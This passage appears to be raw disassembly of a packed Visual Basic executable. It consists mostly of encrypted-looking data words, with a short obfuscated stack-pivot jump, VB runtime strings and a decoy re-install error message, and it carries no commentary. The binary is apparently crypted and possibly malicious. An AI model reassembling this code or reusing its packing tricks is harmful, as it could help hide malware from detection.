		dd 29EE1F83h, 2AEF1E6Bh, 0BA0D5468h, 7001B53Dh,	54A1E7BAh
		dd 0B1635C9Bh, 94E05F8Ah, 0A5h,	4AAE1F5Bh, 6D81EEB7h, 877BC688h
		dd 0DC50A3E2h, 0EA0E7B39h, 46C419h, 0D19C71B5h,	0B2F78A6Eh
		dd 84CCA145h, 7C4DF93Dh, 0EA51C936h, 0E83BD491h, 0F4087D3Bh
		dd 0CE05111h, 291B58BDh, 0DB0F1A45h, 0AF530797h, 7B3B77D6h
		dd 0E7808D0Ah, 8234205Eh, 692E77B2h, 5F24D829h,	0C8A6D748h
		dd 9DE887A3h, 4845F266h, 0E86922DFh, 45D863h, 997E078Bh
		dd 0F19468D9h, 0ABD740B1h, 64F1CD49h, 0D9DFC744h, 31D42899h
		dd 42970071h, 0DA07B003h, 2161573Fh, 0F9B95CD0h, 0FA448188h
		dd 0FF8608B7h, 33440h, 9DB0000h, 0E7F3BA6h, 0B9084891h
		dd 2F9CD93Eh, 0DB246FB0h, 48BDFB5Ch, 0F94C0ACFh, 69DA997Eh
		dd 1A6729EEh, 0B4FB449Dh, 0AF68B30Bh, 89000060h, 32682434h
		dd 8900000Dh, 0A0682404h, 8900005Eh, 22B8243Ch,	53DCE38h
		dd 0FFFFFFFFh, 0F7D0F740h, 7E0C1D8h, 2D40A335h,	3C8B54E1h
		dd 4C48324h, 6CAA68h, 242C8900h, 6F89C589h, 3C8B5D08h
		dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 24048B5Ch
		dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 0FAF066E9h, 750089FFh
		dd 0B57DB51Fh, 0C0BB7ED3h, 2AB8E1E1h, 306315Fh,	0EDE0FFC5h
		dd 0BD460FB4h, 567D815Dh, 0AC70C506h, 4260A3D7h, 0BD461AFFh
		dd 85054302h, 0E00EEDD5h, 4726E648h, 0A972829Eh, 3006A707h
		dd 874CA3A4h, 0DE2C6F4Eh, 0E91C62B0h, 19h, 33F35F7Eh, 5	dup(0)
		dd 53CE900h, 0D6870000h, 82D936F2h, 33294642h, 0FF76910Dh
		dd 9CC2DDD9h, 5C036EAAh, 69A59FC3h, 0BE7A4C0Eh,	0C8C4F861h
		dd 1793B5AFh, 109AA645h, 6592DAA0h, 995540EFh, 96C7D9D9h
		dd 816561A8h, 0B70AE1C7h, 21D99A3h, 9CFB6442h, 142A81BBh
		dd 5C4B0695h, 0A061548h, 67BA73D3h, 9DE0CBEDh, 602586C6h
		dd 85BFF3D7h, 0F9794370h, 0FF1B3F02h, 4973E403h, 1B2D324Dh
		dd 0B488D1CCh, 33C2CB57h, 77546EECh, 6AC9085h, 54B36F51h
		dd 71FB091Ch, 494EB66h,	66911B29h, 7AE494EBh, 761542DEh
		dd 0B30EDDE3h, 2E309BADh, 44881B92h, 94EB66B5h,	3561259Eh
		dd 7D978039h, 72FC0897h, 9B94EB6Ah, 243A81C3h, 7710E5h
		dd 81B20000h, 0B76E1C7h, 0B4A8AEF2h, 227A592h, 0FD557523h
		dd 5A14DB8h, 8D40BF3Ah,	79B02E47h, 169A26AAh, 4BD94EBh
		dd 0AF581240h, 10C7D97h, 0CE000000h, 2E29DA81h,	0FB5EBD0Eh
		dd 3C58E6C5h, 61F44BA0h, 0C2C18C5Fh, 0CFE9689Dh, 0C7C658B3h
		dd 4C9FB9B8h, 24DAAE47h, 8A32B879h, 74B5B11Ch, 9A16362Dh
		dd 21DDFB7Dh, 49CE4B36h, 53499D94h, 58276E4Eh, 199045E5h
		dd 0E7D9817Dh, 7411D78h, 80139AA4h, 98123ECDh, 0ED94EBC0h
		dd 3A91B7AEh, 0FE018824h, 3786655Bh, 0E2743A0Eh, 93B5ACEBh
		dd 0EBC02BC5h, 0A4C05E94h, 73550F68h, 291F4598h, 493DC4C2h
		dd 96E0611Dh, 0E4F09F7Dh, 94EBCA4Ah, 4660E03Fh,	70B9D565h
		dd 6FBBh, 0D9812700h, 0A3B904E7h, 0E7C4FA5Eh, 4EE00C5Bh
		dd 394EBC0h, 3954831Fh,	0B6C82325h, 56EFA477h, 201A3C72h
		dd 0D2C8C8B7h, 0CE41566h, 90C6219Dh, 47FE5DAEh,	0C49BF661h
		dd 0A7495780h, 0DA94EBC1h, 0D0B64544h, 45315D21h, 0F97D96E1h
		dd 4Ah,	0E7D981E5h, 9CA0B904h, 38025433h, 0F24B22F1h, 0CFDD680Eh
		dd 94EBC03Dh, 0C0DFCE50h, 7468A49Eh, 1EADA81h, 66465F4Ah
		dd 0CE77471Ch, 0EE20B1DFh, 0A80994EBh, 7CCA6D4h, 0B707D97h
		dd 0D9000000h, 0E163A6BAh, 3E40ABC7h, 0DB81CBCFh, 0B9BB06E5h
		dd 0C0EE80ACh, 0FF6394EBh, 65988863h, 71570DA1h, 2F44B4B5h
		dd 0D9F194A0h, 0A148AC6h, 0F11FAAA1h, 6D3F397Fh, 829D0C12h
		dd 0CF28E4C2h, 0A2966095h, 0BB6FAA5Ch, 7000CC1Fh, 156D3F6Bh
		dd 2D945B46h, 4378B2D2h, 424B6DE4h, 87C1E5D9h, 4A0A65A1h
		dd 3893B5AFh, 0DA218A26h, 7413BC9Ah, 5DD0D9E3h,	0C17549F2h
		dd 0E7734D2h, 849A7157h, 0B06603BBh, 82E2679h, 5004838Ch
		dd 0CFD9D6Eh, 6B77E18Dh, 13F8577h, 6F410000h, 7785D21Fh
		dd 8AC6DE72h, 63BE0D0Dh, 0ACCBC7E1h, 0E23992B4h, 56949762h
		dd 971BE6BAh, 3341EC7Bh, 6D3F14B9h, 0C85B52CCh,	0F6D5F375h
		dd 14A34D5Bh, 48D66D3Fh, 596768EFh, 6D3F14D7h, 0B318B4AAh
		dd 8A5D21DAh, 0E2C8BCA1h, 7C1B4462h, 7A04E7D9h,	9EC8CFB3h
		dd 46776BADh, 4Fh, 0D3206F80h, 0C0967884h, 0B7AB14EBh
		dd 0C0F67854h, 9FA014EBh, 87645E00h, 350932FBh,	94C3309Fh
		dd 3B1F7A09h, 0CA94AA01h, 14EBC020h, 0CCC4C555h, 94EBC042h
		dd 0D17CEB77h, 0EBC029C3h, 0A680C094h, 9BC63545h, 0A76682C6h
		dd 9368FBh, 6F4E0000h, 7785D21Fh, 8AC6DB3Ah, 9BE6C555h
		dd 0E403FFD9h, 0C16B796Ch, 0B46D3F3Bh, 2FBD0EAAh, 6D3F2480h
		dd 253D58E7h, 2E4A7CE0h, 0D34CBDDDh, 9FB9BBEFh,	0D4BC4530h
		dd 2982C496h, 0CE3E2611h, 0D3A190DFh, 9B7D8A5Fh, 4DBDAC12h
		dd 9D28B720h, 3FB7FD8Fh, 8AC01C6Dh, 0A04B319Eh,	46E8F45Bh
		dd 3B6D3FB3h, 8E028B27h, 7308D398h, 5F3AA5B5h, 5BE7C4F8h
		dd 0C47CC352h, 0D329C3D1h, 15C6748h, 0B2CE6A5Ah, 0D2B6AF59h
		dd 22ADC232h, 7FB3F016h, 910D0D79h, 0D21F6F0Dh,	0A0917785h
		dd 61AC8ADCh, 0D7885CC2h, 37001EEDh, 0D874ADC7h, 0F7515CF3h
		dd 51FA5B26h, 0ACC8FA60h, 76B791D3h, 930F292Bh,	0AD4E0984h
		dd 2A3497B1h, 40001F8Eh, 3D8EBEA5h, 2E18421Dh, 0CA21BDDDh
		dd 638B4306h, 6B5FE823h, 0EF2B0D47h, 15F6D090h,	42A98FC6h
		dd 86655FFFh, 0CC1F393Bh, 975A2EC7h, 0C49BF615h, 96172B80h
		dd 5315996Dh, 0E65EB975h, 0FC0897C0h, 50E01272h, 2EFDC79Bh
		dd 7884AB10h, 50E012F6h, 0B27B978Bh, 368E3h, 5E4E0000h
		dd 0E8DC817Ah, 0A284BC03h, 5B6DF249h, 17312D70h, 0CFF169B4h
		dd 87B9A1FCh, 0BE9ED924h, 744A0E6Dh, 33154897h,	0CE6808D8h
		dd 89000008h, 1F68243Ch, 89000043h, 89562414h, 4C681E6h
		dd 83000000h, 348704EEh, 2C895C24h, 60066824h, 148B0631h
		dd 4C48124h, 68000000h,	805h, 83242489h, 5D042404h, 2FBA5253h
		dd 0BB3C0063h, 3C006337h, 15AD329h, 5B1389EBh, 57242C8Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 148B5C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_544660
; ---------------------------------------------------------------------------
		db 2Bh,	0B3h, 0E8h
		dd 0FDEB536h, 739F6C9Ah, 0B2B88E27h, 3063164h, 0FEE0FFC5h
		dd 9E05445Dh, 6B0E87EDh, 0E96F2B38h, 167h, 709818E1h, 77E705C5h
		dd 6D5C3A43h, 706E755Fh, 656B6361h, 61700072h, 64656B63h
		dd 6578652Eh, 3Bh dup(0)
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		dd 2 dup(0)
		dd 0E9000000h, 1C0Fh, 3168C868h, 18E6E906h, 0D768FFFAh
		dd 0E9063169h, 0FFFA18DCh, 316AD468h, 18D2E906h, 9168FFFAh
		dd 0E906316Bh, 0FFFA18C8h, 316BD068h, 18BEE906h, 0A168FFFAh
		dd 0E906316Ch, 0FFFA18B4h, 316CF968h, 18AAE906h, 4068FFFAh
		dd 0E906316Dh, 0FFFA18A0h, 3174C568h, 1896E906h, 5E68FFFAh
		dd 0E9063175h, 0FFFA188Ch, 31762B68h, 1882E906h, 0FC68FFFAh
		dd 0E9063176h, 0FFFA1878h, 31776F68h, 186EE906h, 7C68FFFAh
		dd 0E9063178h, 0FFFA1864h, 31791868h, 185AE906h, 0BD68FFFAh
		dd 0E9063179h, 0FFFA1850h, 317FED68h, 1846E906h, 0F468FFFAh
		dd 0E9063180h, 0FFFA183Ch, 31818B68h, 1832E906h, 5607FFFAh
		dd 259B672h, 0B3A9C6C2h, 7FF6118Dh, 1C425D59h, 0DC83EE2Ah
		dd 0E9251F43h, 3EFACC8Eh, 484478E1h, 9713352Fh,	901A26C5h
		dd 0E592DAA7h, 83C5C06Fh, 9C2E3AA5h, 0F192DAA7h, 811AA069h
		dd 0B76E1C7h, 0F23FA83h, 0BE4DBCBEh, 5963F493h,	31175150h
		dd 0EF0474F5h, 0BFB6D560h, 0FD2C3299h, 0C6294ED3h, 0D239218Ah
		dd 3E3550FEh, 8E0D1A6Dh, 816F5CBh, 76A49881h, 776CD2FCh
		dd 38A0h, 1F6F2200h, 0E70FAB01h, 0A5C1DC3Ch, 6F1B2E3Ah
		dd 7B168AC6h, 700EDDE7h, 8764FAB9h, 3EAFBB49h, 7C40F16Dh
		dd 6C49244Eh, 0E8D877h,	0E2710000h, 3EA354D6h, 0F831296Dh
		dd 0E1C781D2h, 99A3B70Ah, 5375EF32h, 36BC9904h,	0A5163CB6h
		dd 0A4A9164h, 8CE6F02Ch, 5D94EB32h, 0A6C13D1Bh,	2C2388AEh
		dd 0D2DBED71h, 0FB5FD121h, 816A5C02h, 0F08E5DF9h, 507C0B54h
		dd 94EB29DEh, 0BA112B2Fh, 6CCB57A4h, 61F9D2F4h,	8E9BA9A8h
		dd 0E18AC60Ch, 49866AAh, 0F30FAA96h, 0F56D2837h, 0A766F8D3h
		dd 0BE2946B6h, 0C5B8B92h, 0BF038E73h, 83929F9Fh, 77EB8A03h
		dd 93B5ADE8h, 5C66F817h, 592D9BD6h, 1A4D9E50h, 1965h, 0F4301449h
		dd 480C49Bh, 575375EBh,	0E31F3938h, 2CE8D284h, 0DD851EC1h
		dd 8AD02FEBh, 3E237CB8h, 0F7718E0Ah, 0E807D5D1h, 0DAA852DCh
		dd 9212792h, 2BE7D981h,	0C5FB613Ch, 4E5158E6h, 6BF43016h
		dd 0C03EB0DCh, 0FC5394EBh, 0EBC05ED0h, 932F3394h, 1F6F7C1Ah
		dd 727785D2h, 0D8AC6EAh, 8CC7C20Dh, 0D79CDFA8h,	0D9373052h
		dd 930E5DD0h, 9F31F8CCh, 6D3FCEF1h, 10C6BABBh, 4D0AEF75h
		dd 2A1B17D5h, 7B07E400h, 1A5B17B2h, 0C503776Bh,	44000000h
		dd 532C1049h, 0D0F63711h, 0AE1C781h, 2E084847h,	44E48641h
		dd 5851C0ECh, 0DC2F1149h, 74521271h, 8E028B97h,	94EBD834h
		dd 69A583C5h, 0E770560Eh, 1C8DB7A8h, 76CDC89h, 84E4DD8h
		dd 0C8D9F736h, 0CB8AC6E5h, 249E103Ch, 6FF36D3Fh, 0A763FFBEh
		dd 0CE1956A6h, 0DE0E8A2h, 0B2027173h, 6D12F055h, 2F33F23Bh
		dd 0FF7615A0h, 0BD6CF2D9h, 0CECAFC62h, 6D97A9B1h, 5059D6EEh
		dd 56450CDFh, 56000018h, 0A8C7C305h, 0F81793B5h, 49A66264h
		dd 95F22E0Eh, 0F23FFBCDh, 0FACC920Fh, 4B7DE13Eh, 152F304Fh
		dd 0E0C67E99h, 0CBD97624h, 92DAA921h, 81F8D054h, 0E3024D9h
		dd 85019DBDh, 0D0CCEA6Ah, 30124847h, 404647DBh,	0C6D2C781h
		dd 94EBC024h, 46A5C159h, 0A35F79FBh, 0CA155AAAh, 0C6E7EBBEh
		dd 0EB74EA8Ah, 0D51B4ACh, 324ED03Bh, 557C92D9h,	36994746h
		dd 4C80139Ah, 6D3FA8BEh, 4D794DF4h, 776B4621h, 9C12F0BFh
		dd 0E9272CE8h, 0D06B20h, 71770000h, 0DA8F8002h,	0C0C95A30h
		dd 0FB86730Eh, 0EBC643EDh, 0E1283694h, 64F30070h, 0C68BFD58h
		dd 118E908Ah, 0A2ABA783h, 76CDC80h, 0CF59CCD8h,	0F26CAFFCh
		dd 97DC2C19h, 53DB3C48h, 70EE95D5h, 8CB6A8E7h, 0D867F21Dh
		dd 4B8D3F4Dh, 5EC08C0Bh, 0B4BFE70h, 0A4C938Ch, 2B47DB30h
		dd 83A59FE2h, 4E68E807h, 205FC124h, 44F9C2Bh, 1759h, 0C03C0855h
		dd 108CB0A7h, 0A35F61F7h, 0EF2B0D44h, 38F4CE90h, 0C9910ACDh
		dd 7EDC3BF7h, 2A2F4844h, 0FB7D9A16h, 0D47B21DDh, 0DAAA26C8h
		dd 5DD5B92h, 74521271h,	0FF028B97h, 0C5886345h,	0C0802A36h
		dd 0F16994EBh, 0E572ECCFh, 0EBC055D7h, 0F7362894h, 6EF9F646h
		dd 0AF91C4C3h, 0E73F527Eh, 0C8568AC6h, 0B34EC8CCh, 5C8BE858h
		dd 0C68D9530h, 69A6B88Ah, 1008E37Bh, 0B878C8F2h, 0D7009CA6h
		dd 4E9DA7B8h, 4A56F930h, 0F86D36DBh, 0AE9F6CF2h, 3BC6115Eh
		dd 0E717FE5Ch, 0B8BCC7C7h, 0ECE42541h, 0E65A742Bh, 0E17C135Eh
		dd 0D643277Ah, 0F66E2DBAh, 0B9BBD4D0h, 0AFFA159Fh, 10C3DDAFh
		dd 169C39h, 794B1000h, 0C9FF62BDh, 98AEB2CDh, 6440031Ch
		dd 310B4FA8h, 4CC988F5h, 9BF4300Ah, 0EA0581C3h,	38575375h
		dd 38E21E38h, 0AB6B0513h, 1A1E92DAh, 0E1C78146h, 0EB3E53h
		dd 69E03344h, 165Dh, 0FC380C51h, 0C88BCA3h, 5F5B6DF3h
		dd 0EB270140h, 34F0CA8Ch, 0D58D16C9h, 82D837F3h, 362B4440h
		dd 0FF799612h, 0D07FDDD9h, 0DAAB2AC4h, 1D95F92h, 0B1A7E271h
		dd 0C02FC18Fh, 3C2294EBh, 0E6C5FF63h, 164E5158h, 0C18A730h
		dd 94EBC062h, 0F3820B17h, 52FDF242h, 9BCE2737h,	50A171E9h
		dd 0FD9D6E8Ah, 0F2F7050Ch, 8D8AC608h, 4B39118Dh, 0D6016EDEh
		dd 13C20BCAh, 0E31C0273h, 0EE14B5F5h, 155AAAC2h, 8777BECAh
		dd 97F2DDC7h, 7231F8DCh, 0C8D463ECh, 0C43D8726h, 0F668C75Bh
		dd 0AA63FFCCh, 0D51A6ADBh, 0A1A0FF8Ah, 931A2487h, 0C1B1AFDh
		dd 6FF229DAh, 0F7923D59h, 0CDD8987Dh, 4C030DBFh, 42DE40DEh
		dd 0CB8DEA26h, 283C47EDh, 0EDDF959h, 158C47h, 93B2000h
		dd 0D9EF728Dh, 0A89EC2DDh, 7450136Ch, 0C1FB5FB8h, 5CF9B8C5h
		dd 0ABC4C0FAh, 0FA1591B3h, 48A76365h, 28F22E08h, 0AC7BF503h
		dd 0A0E92DAh, 0C07EF036h, 207F94EBh, 9870620h, 94EBD07Bh
		dd 14206DFBh, 205FED6Bh, 0B6AE6B14h, 0B236290h,	3DEE4401h
		dd 15342Ah, 0E1E37800h,	0B197CA25h, 461A75h, 0CCE86B84h
		dd 99A3B7D0h, 0B421101Dh, 31C98A2h, 52AD695Bh, 0A0FF3B0Dh
		dd 500A86A0h, 0AC03ADBBh, 0F27692DAh, 0D21F6FDEh, 0F3C67785h
		dd 81998AC6h, 2C183C73h, 2F26F54Ah, 14EDh, 6CA89CC1h, 0BC784C13h
		dd 0CFCBFD63h, 1B97B1B0h, 0A4605AFCh, 65FD6659h, 1248A763h
		dd 0C69BF430h, 6FE90682h, 608F4D49h, 0DAADDA54h, 91A9AF92h
		dd 2322C781h, 0DA98FC6h, 0CDDB66F1h, 94EBC023h,	32C1C856h
		dd 0A0B1901Fh, 0E1245C8Fh, 0B99FD928h, 764A0F52h, 290F4695h
		dd 4D31C8C2h, 0EADE679Ah, 0C6F44934h, 70BBA1BEh, 94541EB9h
		dd 28087D97h, 41000000h, 0C12A1C42h, 0F04A70B9h, 94EBC062h
		dd 3BF7D193h, 375B9EADh, 9625B295h, 4FBAE08Ah, 485956Bh
		dd 1453DE71h, 81B80000h, 590AE1C7h, 2B0D47E9h, 0B522BEC0h
		dd 0C6EF36A7h, 0D5D1498Ah, 408FE454h, 0BD83D6B5h, 444563E2h
		dd 120B914Ch, 2F3DC873h, 6742139Dh, 0F7D4EE6Ch,	1F8E906Bh
		dd 7E89519Ch, 78CBA2C1h, 0B986C56Fh, 0DF7B68E2h, 95ABB10Ch
		dd 98E28F19h, 4A116742h, 49A2A2B9h, 3D596FF2h, 98E48692h
		dd 81996742h, 0B99FFA65h, 931A2487h, 0FD65202Fh, 0AF5EE0CBh
		dd 0D03B0D50h, 53B1E7Dh, 0E1198A6h, 4796754Bh, 0D1842A1Eh
		dd 0C2AC33EFh, 7A714031h, 2C4h,	0BA3440EFh, 0CF674294h
		dd 713C5A53h, 0B4755312h, 0DAED3383h, 0C763E850h, 22B11EBAh
		dd 0EB7E9416h, 0B871E994h, 6DBA8B99h, 4DCD8AC6h, 0CB3C237Eh
		dd 0C25CAF89h, 55A39A6h, 0F956E8C3h, 0F08E5D63h, 372A4539h
		dd 8816BA11h, 796D3E61h, 0B00FDCE0h, 717A47AEh
		dd 6160D448h, 360FE6C5h, 1F549F52h, 208772Bh, 33164878h
		dd 0ACB3CE3Fh, 9DED1C98h, 1D780750h, 9870646h, 73137BB0h
		dd 257853CFh, 708F0B3Dh, 7F4117EEh, 957692ACh, 4162AB37h
		dd 9569C267h, 0BB774911h, 0A22D42B2h, 0D68A73E7h, 0BA5554F0h
		dd 0D8EA702Fh, 12BE6FF3h, 796C57D7h, 0C8B7203Eh, 0B0A31505h
		dd 19EC1D12h, 68A482C2h, 9873550Fh, 94F2BA34h, 9A6EC779h
		dd 92B2A9E4h, 6A4C041Bh, 0A8426EFDh, 417994F2h,	0B4CA2107h
		dd 6CD2DB47h, 93784C13h, 0A837094Ch, 0E0C67E1Dh, 0C769770Bh
		dd 0BA7994F2h, 479665A4h, 0D1842A1Eh, 0C2AC33EFh, 7A6B160Bh
		dd 123h, 0D3027164h, 44339168h,	690C290Fh, 831FB5FEh, 5963F70Ah
		dd 9DC0DF72h, 3B1F62ABh, 8F842632h, 61F994EBh, 5BFF9AC5h
		dd 3C378A61h, 7E0DFC18h, 175202Fh, 0B4C6C10Fh, 72FC0857h
		dd 794EB0Ch, 9569921Bh,	49444911h, 88222C10h, 0FD94EB0Ch
		dd 0B96C15Dh, 0EB0C73FDh, 1D2B0694h, 94EB0C93h,	2DDC78E6h
		dd 0AA046E71h, 37C27D97h, 0EB048729h, 0A564FA94h, 0AAD0h
		dd 0C781F200h, 0BDB70AE1h, 6AE1309Bh, 0B6152F2Fh, 4F861A8h
		dd 82FA535Eh, 0E3714550h, 0EBD05BD5h, 94302E94h, 5F4A0A15h
		dd 0EBD0BF31h, 60145E94h, 4869B9AEh, 17292C73h,	0F20EAAB4h
		dd 78C5A136h, 64797D97h, 65000000h, 0CC830271h,	0A36EBAC1h
		dd 0EF1B61D4h, 0ED1C49EFh, 78E70C7Ch, 0C64E8D6Ch, 0DA9DC08Ah
		dd 47856682h, 6D3E50B9h, 0F4001548h, 6D3E507Ah,	14F7130Fh
		dd 5CAF91C9h, 25062511h, 37DEAB6Dh, 73A74A3Eh, 96D0FEC2h
		dd 34776C03h, 0A19DFAA9h, 0F2372167h, 3EAF4AE4h, 0EA233F6Dh
		dd 9B1Dh, 1D573200h, 6FD4F23Bh,	7785D21Fh, 8AC6DE72h, 63BE0D0Dh
		dd 43EDFBFCh, 366D3F3Eh, 0F7108C28h, 84F35C60h,	23DA0B94h
		dd 48DBD289h, 8D5E6EF5h, 61453922h, 0FE9DCAFAh,	0F48A6147h
		dd 1C564935h, 0C0776B8Dh, 4Eh, 0D6236F02h, 0A0550A89h
		dd 0BDB7D0B9h, 218A2670h, 0D2619019h, 94B73947h, 97CA94EBh
		dd 102EFDC7h, 719B35F4h, 8414EB94h, 0D9B319Ah, 5114EB8Bh
		dd 6F012FBAh, 0E214EB93h, 0B0948D7Ch, 1C4BA814h, 0EB921EF0h
		dd 0F32F3394h, 760h, 3D755600h,	6D000000h, 6E5DB81h, 64A0A4BBh
		dd 9B70540Bh, 8BD35FAAh, 83CE1DB9h, 0A1685204h,	0EBC0802Fh
		dd 0DBED7394h, 90B4ADF0h, 7FB703Bh, 218ABEA3h, 1819FD19h
		dd 0D97CF624h, 95207D96h, 0A200000Bh, 0F4D7246Fh, 468CCFD8h
		dd 3F6A850Eh, 0FF99A0D9h, 0B791D309h, 9569921Bh, 0EB9EFD69h
		dd 47A1F3h, 6F2D0000h, 4B0B0424h, 0FB1A2259h, 0D665F05Fh
		dd 0EB9520CAh, 0C4C55594h, 0EB9522CCh, 0E0CB5794h, 1F46E0ECh
		dd 694F092Eh, 27193F82h, 7448EDC4h, 241819FDh, 23607CF6h
		dd 22920D4h, 9A290000h,	674BFC8Eh, 8991C2h, 4C12717Ah
		dd 0BE89917Ah, 0C1042546h, 0BCAD5C75h, 0C6B52251h, 59131451h
		dd 6F6BA2AFh, 0C781DF03h, 1B236132h, 9D390CDCh,	0D6E271B9h
		dd 94EBC054h, 2398ACB5h, 8F13CE3Fh, 96D57DF9h, 31017Ch
		dd 6FCD0000h, 7103D724h, 0EBC0D663h, 0BDA1B994h, 12716971h
		dd 0C0EC7B4Dh, 94EBC02Eh, 0B3CE3F23h, 129CA8ADh, 6794EBC0h
		dd 4F7B5FFBh, 1B758Bh, 6F6D0000h, 7103D724h, 0B27B4D12h
		dd 0C0E0719Fh, 0A6A294EBh, 816971B2h, 4FF1E5DBh, 0AAB2F08Bh
		dd 1F43F9ACh, 0D68EE925h, 0A4BA15F0h, 68E847A2h, 261E7D4Eh
		dd 44F9AB00h, 3CCEDA80h, 513FD569h, 0BF30ADC9h,	4B6DE7CBh
		dd 1137314Ch, 0CA9792B4h, 558B395h, 550F685Ch, 7AF39873h
		dd 83A2086h, 4A039FA3h,	0BFB9EDD1h, 41031E99h, 2B2F8A67h
		dd 22FD7722h, 2388BCA5h, 4649501Fh, 0F37D8BD4h,	863FD5C1h
		dd 0D27F1198h, 0BD3FD5C1h, 9C0B409Dh, 0C149E3F1h, 0BAA03FD5h
		dd 0FE2F3388h, 4EDD8145h, 0D5C18822h, 0F25DFD3Fh, 0D5C144E6h
		dd 0E821393Fh, 0B62ADF99h, 396694D4h, 89E423BFh, 0E1CEFD1h
		dd 0E2A65F3Ch, 74B08ACCh, 0D07F591Bh, 3398ACB5h, 77546EECh
		dd 0C15E4FEBh, 0ED7CF066h, 803FD5F1h, 0DB50439Eh, 0A781C3E7h
		dd 0A69EFD68h, 96172B80h, 12EFC98Bh, 2C164847h,	0F84A43DFh
		dd 9FD74BAh, 0A85A3A5h,	765375EFh, 0D27D471Bh, 0F1B73947h
		dd 54CA3FD5h, 1293C855h, 0DEF8782Eh, 7B4D1271h,	81CBCFB2h
		dd 3FDE1C7h, 0D6236FDFh, 0F9B92102h, 7C96D57Dh,	5501h
		dd 0E271CD00h, 0EBC054D6h, 0F8312994h, 0CECDFB47h, 0C555B688h
		dd 0EBC0911Bh, 0DE7AE494h, 4F1271FAh, 7381B079h, 94EBC0E6h
		dd 71CD9189h, 917A4C12h, 0E9F10089h, 0F6EADA81h, 0F2B7E271h
		dd 410650EDh, 0B83FB19Fh, 0CC5294EBh, 714E0CDDh, 8F7E4812h
		dd 1684h, 236F7200h, 637102D6h,	94EBC0D6h, 71A0B494h, 0EADA8169h
		dd 0F08B4FF6h, 94EBEF57h, 0FD7A3EA5h, 7118FFFFh, 92794F12h
		dd 0E5731D8Ch, 0FA94EBC0h, 4BA4608Fh, 19A43315h, 0C0CC7E8Ah
		dd 998194EBh, 0EBC03DCFh, 0DFCE5094h, 2C92014Ch, 0DCC9167Bh
		dd 0D0630D1Bh, 81694EBh, 19933DECh, 5D94EBD0h, 8ACEE4D8h
		dd 381F78B4h, 35818804h, 0B8FDD338h, 0E8D731BDh, 1D497549h
		dd 0C13B409Ah, 234h, 43EDFB86h,	36294274h, 71E5E128h, 0A7BB4E12h
		dd 94304E9Dh, 0EEE22B37h, 94EBC043h, 2701435Eh,	0E80575E6h
		dd 0D6F4517Fh, 879B8AC6h, 5668EC0Bh, 0D332675h,	0A88CC7C2h
		dd 84F9261h, 1D78D734h,	97AB0044h, 36B23C48h, 5BC76D3Fh
		dd 1C51A152h, 157924B3h, 852735DCh, 0F86D3FC7h,	8AB81966h
		dd 5205059h, 487312D0h,	0D775ACD6h, 0BD85057h, 0D6840h
		dd 2D174400h, 0FDC396F1h, 4C72E601h, 183C3750h,	0E5DF839Ch
		dd 801DDC29h, 0CF28E4DEh, 1E79B58Fh, 6C8B0739h,	4D6D2F4h
		dd 0B457D9E7h, 2E2A92DAh, 22C7810Ah, 7962DA3Fh,	7B5312C0h
		dd 0A9B10CDFh, 70DF7B97h, 0AE55D7E5h, 0A3B494EBh, 0CF2C3299h
		dd 9ACB5A53h, 8E9AC52Ah, 8ADCD441h, 0D2CDA1ECh,	1A8379ADh
		dd 2E3251FEh, 0DD839C18h, 0BBBD00EBh, 74034E9Dh, 24BFC668h
		dd 66A7BB6Dh, 0FF6885F5h, 99A50D1h, 0C8F03F73h,	71B886E9h
		dd 94B73D59h, 25505CC0h, 0CCF5FF6h, 7EDF0000h, 2A314E4Ah
		dd 0DB819E1Ah, 97CE29E5h, 441A75B1h, 847B8602h,	817D471Bh
		dd 0D6D2F466h, 609CA0B9h, 0AF6B4D07h, 0B8325EEDh, 0CD92DAB5h
		dd 0C7817357h, 0B8470AE1h, 0EBC002ACh, 630D1B94h, 1694EBC0h
		dd 7EAFB308h, 0E7707DCDh, 0C6E778D9h, 8F0B178Ah, 0D7E5F070h
		dd 6D3F2755h, 1E9A3628h, 5529FEFh, 85DD3F7h, 63EC7273h
		dd 94CC3124h, 789716B2h, 7B34BEEDh, 110C004Eh, 0EDD38998h
		dd 0BC82D631h, 0A550106Fh, 2C38477Ah, 67487D82h, 0D51C6BF7h
		dd 4F9C3859h, 0EAC28500h, 8C3E4A01h, 0C16748D3h, 5BCC3D59h
		dd 4B5986EBh, 7965F6AEh, 4F45DECDh, 465FD1FFh, 2C32799Ch
		dd 0F321643h, 0F1031F9Eh, 56891EDCh, 283CA19h, 0AA00000Ch
		dd 0FC1B97B1h, 4CAB6759h, 9DFA3608h, 0E90682DAh, 26534F71h
		dd 4E70E673h, 1F293552h, 0E9D384E3h, 0B492D22Dh, 7F8DA278h
		dd 92DAB6CDh, 81AC8480h, 590AE1C7h, 4D5B84E9h, 8AC6F434h
		dd 1D88D74Bh, 4EC4D8E6h, 0FEC8E414h, 774BC6A6h,	136CD2DBh
		dd 63BC784Ch, 0CBCFCBFDh, 794F1271h, 0EC1D8C92h, 0FC08579Ch
		dd 8AC6E3B5h, 8A0956C8h, 5B69F6D0h, 6D3F22D1h, 0A073BAA4h
		dd 78F21EADh, 0D6D3F22h, 66F49C0Dh, 2C6D3F22h, 69053115h
		dd 1D776BBBh, 7Fh
		dd 29DA81B9h, 9DBD0E2Eh, 0AC118ED2h, 4AE6BE1Fh,	1471A61h
		dd 381C57AAh, 0F7C98CD3h, 0ADC2323Bh, 0BEC6722h, 0DAD36F49h
		dd 0C8A42937h, 47DB8AC6h, 2BDF223Dh, 0B1984B4Ah, 0B31h
		dd 28E4E07Dh, 78B488CFh, 8B07391Fh, 0D7D3F56Ch,	609CA6B8h
		dd 0A1B92215h, 5604639Fh, 257B06Ch, 0A3A5C23Eh,	0BC530985h
		dd 0DAB61E90h, 0DDF57392h, 2EEADA81h, 6A25h, 0B5EB9600h
		dd 7B158D07h, 716367A6h, 0FCF19E02h, 1262F76Ch,	2A5CD004h
		dd 257CADC9h, 0B0BD0E3Eh, 19A43340h, 29E0E67Ah,	0C6C48EA7h
		dd 2B59C18Ah, 4A2BE416h, 0BE91B86Bh, 0EE00000Ah, 405F5B6Dh
